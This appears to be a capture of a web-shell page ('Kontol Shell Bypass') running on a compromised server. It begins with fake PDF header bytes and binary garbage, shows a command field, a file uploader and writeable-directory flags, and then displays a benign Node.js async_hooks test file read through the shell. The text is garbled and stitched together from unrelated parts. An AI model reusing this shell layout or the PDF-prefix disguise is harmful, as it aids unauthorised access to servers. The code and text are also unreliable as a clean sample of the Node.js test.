%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /home/ubuntu/node-v16.18.1/test/async-hooks/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //home/ubuntu/node-v16.18.1/test/async-hooks/test-destroy-not-blocked.js
'use strict';
// Flags: --expose_gc

const common = require('../common');
const assert = require('assert');
const tick = require('../common/tick');

const { createHook, AsyncResource } = require('async_hooks');

// Test priority of destroy hook relative to nextTick,... and
// verify a microtask is scheduled in case a lot items are queued

const resType = 'MyResource';
let activeId = -1;
createHook({
  init(id, type) {
    if (type === resType) {
      assert.strictEqual(activeId, -1);
      activeId = id;
    }
  },
  destroy(id) {
    if (activeId === id) {
      activeId = -1;
    }
  }
}).enable();

function testNextTick() {
  assert.strictEqual(activeId, -1);
  const res = new AsyncResource(resType);
  assert.strictEqual(activeId, res.asyncId());
  res.emitDestroy();
  // nextTick has higher prio than emit destroy
  process.nextTick(common.mustCall(() =>
    assert.strictEqual(activeId, res.asyncId()))
  );
}

function testQueueMicrotask() {
  assert.strictEqual(activeId, -1);
  const res = new AsyncResource(resType);
  assert.strictEqual(activeId, res.asyncId());
  res.emitDestroy();
  // queueMicrotask has higher prio than emit destroy
  queueMicrotask(common.mustCall(() =>
    assert.strictEqual(activeId, res.asyncId()))
  );
}

function testImmediate() {
  assert.strictEqual(activeId, -1);
  const res = new AsyncResource(resType);
  assert.strictEqual(activeId, res.asyncId());
  res.emitDestroy();
  setImmediate(common.mustCall(() =>
    assert.strictEqual(activeId, -1))
  );
}

function testPromise() {
  assert.strictEqual(activeId, -1);
  const res = new AsyncResource(resType);
  assert.strictEqual(activeId, res.asyncId());
  res.emitDestroy();
  // Promise has higher prio than emit destroy
  Promise.resolve().then(common.mustCall(() =>
    assert.strictEqual(activeId, res.asyncId()))
  );
}

async function testAwait() {
  assert.strictEqual(activeId, -1);
  const res = new AsyncResource(resType);
  assert.strictEqual(activeId, res.asyncId());
  res.emitDestroy();

  for (let i = 0; i < 5000; i++) {
    await Promise.resolve();
  }
  global.gc();
  await Promise.resolve();
  // Limit to trigger a microtask not yet reached
  assert.strictEqual(activeId, res.asyncId());
  for (let i = 0; i < 5000; i++) {
    await Promise.resolve();
  }
  global.gc();
  await Promise.resolve();
  assert.strictEqual(activeId, -1);
}

testNextTick();
tick(2, testQueueMicrotask);
tick(4, testImmediate);
tick(6, testPromise);
tick(8, () => testAwait().then(common.mustCall()));

Kontol Shell Bypass